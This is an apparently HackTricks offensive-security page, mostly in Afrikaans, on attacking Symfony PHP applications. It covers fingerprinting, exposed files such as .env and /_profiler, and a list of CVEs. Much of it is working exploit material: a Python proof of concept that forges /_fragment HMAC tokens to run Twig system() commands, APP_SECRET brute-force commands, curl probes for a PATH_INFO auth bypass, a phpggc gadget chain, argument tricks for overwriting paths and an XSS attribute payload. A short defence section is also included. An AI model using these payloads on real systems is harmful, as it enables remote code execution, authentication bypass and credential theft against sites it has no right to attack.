Symfony

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Symfony is een van die mees gebruikte PHP-frameworks en verskyn gereeld in assesserings van enterprise-, e-handel- en CMS-doeleindes (Drupal, Shopware, Ibexa, OroCRM … almal embed Symfony-komponente). Hierdie bladsy versamel offensiewe wenke, algemene wankonfigurasies en onlangse kwesbaarhede wat op jou kontrolelys moet wees wanneer jy ’n Symfony-toepassing ontdek.

Historiese nota: ’n Groot deel van die ekosisteem hardloop steeds op die 5.4 LTS-tak (EOL November 2025). Symfony 7.4 het die nuwe LTS geword in Nov 2025 en sal sekuriteitsfixes ontvang tot Nov 2029. Verifieer altyd die presiese patch-vlak want baie advisories van 2024‑2026 is slegs in mikro-releases opgelos.


Recon & Enumeration

Finger-printing

  • HTTP response headers: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link or cookies starting with sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) often reveal the exact version:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Public routes that only exist on Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists: symfony.txt → soek na /_fragment, /_profiler, .env, .htaccess.

Interessante lêers & endpoints

PathWaarom dit saak maak
/.env, /.env.local, /.env.prodGereeld verkeerd ontplooi → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgBronkode openbaarmaking → credentials + business logic
/var/log/*.log, /log/dev.logWeb-root mis-konfigurasie stel stack-traces bloot
/_profilerVolledige versoekgeskiedenis, konfigurasie, service container, APP_SECRET (≤ 3.4)
/_fragmentIngangspunt wat deur ESI/HInclude gebruik word. Misbruik moontlik sodra jy die APP_SECRET ken
/vendor/phpunit/phpunit/phpunitPHPUnit RCE as dit toeganklik is (CVE-2017-9841)
/index.php/_error/{code}Finger-print & soms leak exception traces

Hoë-impak Kwesbaarhede

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 oorspronklik, maar kom nog steeds voor op moderne teikens wanneer debug aangesit gelaat word of .env blootgestel word.
  • Sodra jy die 32-karakter APP_SECRET ken, skep ’n HMAC-token en misbruik die interne render() controller om willekeurige Twig uit te voer:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Uitstekende uiteensetting & exploit-skrip: Ambionics blog (gekoppel in Verwysings).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Beïnvloed weergawes onder 5.4.50, 6.4.29 en 7.3.7. Padnormalisering kon die vooraanstaande / weggooi, wat toegangskontroles wat /admin ens. aanvaar, breek.
  • Vinnige toets: curl -H 'PATH_INFO: admin/secret' https://target/index.php → as dit admin-roetes bereik sonder auth, het jy dit gevind.
  • Los dit op deur symfony/http-foundation of die volledige raamwerk op te gradeer na die reggestelde patch-vlak.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Beïnvloed weergawes onder 5.4.51, 6.4.33, 7.3.11, 7.4.5 en 8.0.5 op Windows wanneer PHP vanaf MSYS2 (Git-Bash, mingw) loop. Process slaag nie daarin om = korrek te citeer nie, wat tot gekorrupte paaie lei; destruktiewe kommando’s (rmdir, del) kan onbedoelde gidse teiken.
  • As jy ’n PHP-skrip kan oplaai of Composer/CLI helpers kan beïnvloed wat Process aanroep, bou argumente met = (bv. E:/=tmp/delete) om pad-oor-skryf te veroorsaak.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Wanneer register_argv_argc=On en nie-SAPI runtimes gebruik word, kan gemanipuleerde query strings APP_ENV/APP_DEBUG omdraai via argv parsing. Gefikseer in 5.4.46/6.4.14/7.1.7.
  • Soek na /?--env=prod of soortgelyke inskrywings wat in logs aanvaar word.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Spesiale karakters in die URI is nie op dieselfde wyse gevalideer as wat blaaiers doen nie, wat omleiding na aanvallersbeheer-deur-domeine moontlik maak. Gefikseer in 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component voor 2.25.1 render {{ attributes }} sonder ontsnapping → attribute injection/XSS. As die app gebruikers toelaat om komponent-attribuite te definieer (admin CMS, e-pos templating) kan jy dit ketting na script injection.
  • Werk albei pakkette op na 2.25.1+. As manuele exploit, plaas JS in ’n attribuutwaarde wat aan ’n custom component gegee word en trigger rendering.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Die Process-komponent het die huidige werkdirektorie gesoek voor PATH op Windows. ’n Aanvaller wat tar.exe, cmd.exe, ens. in ’n skryfbare web-root kan oplaai en Process trigger (bv. lêer-extraksie, PDF-generering) kry command execution.
  • Gefikseer in 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • Authentication guard het ’n bestaande session ID hergebruik na login. As ’n aanvaller die cookie voor die slagoffer autentiseer stel, kap hulle die rekening na login.

9. Twig sandbox XSS – CVE-2023-46734

  • In toepassings wat gebruikersbeheerde templates blootstel (admin CMS, e-pos bouer) kon die nl2br filter gebruik word om die sandbox te omseil en JS in te spuit.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id produseer ’n Phar payload wat RCE trigger wanneer ’n unserialize() plaasvind op klasse soos sfNamespacedParameterHolder. Kyk na lêer-oplaai endpoints en phar:// wrappers.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce swak APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via blootgestelde Symfony Console

As bin/console deur php-fpm of deur direkte CLI upload bereikbaar is:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Gebruik deserialization gadgets in die cache directory of skryf ’n malicious Twig template wat by die volgende versoek uitgevoer sal word.

Toets PATH_INFO bypass vinnig (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

As die gerenderde uitvoer die attribuut sonder ontsnapping weergee, slaag XSS. Werk dit by na 2.25.1+.


Verdedigingsnotas

  1. Never deploy debug (APP_ENV=dev, APP_DEBUG=1) in produksie; blokkeer /app_dev.php, /_profiler, /_wdt in die web-bediener se konfigurasie.
  2. Bêre secrets in env vars of vault/secrets.local.php, nooit in lêers wat deur die document-root toeganklik is nie.
  3. Dwing patch-bestuur af – teken in op Symfony security advisories en hou minstens die LTS patch-vlak (5.4.x tot Nov 2025, 6.4 tot Nov 2027, 7.4 tot Nov 2029).
  4. As jy op Windows werk, werk onmiddellik op om CVE-2024-51736 & CVE-2026-24739 te versag, of voeg open_basedir/disable_functions as verdedigings-in-diepte by.

Nuttige offensiewe tooling

  • ambionics/symfony-exploits – secret-fragment RCE, ontdekking van debugger-routes.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder – klein helper om _fragment HMAC te bereken (Go implementation).

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks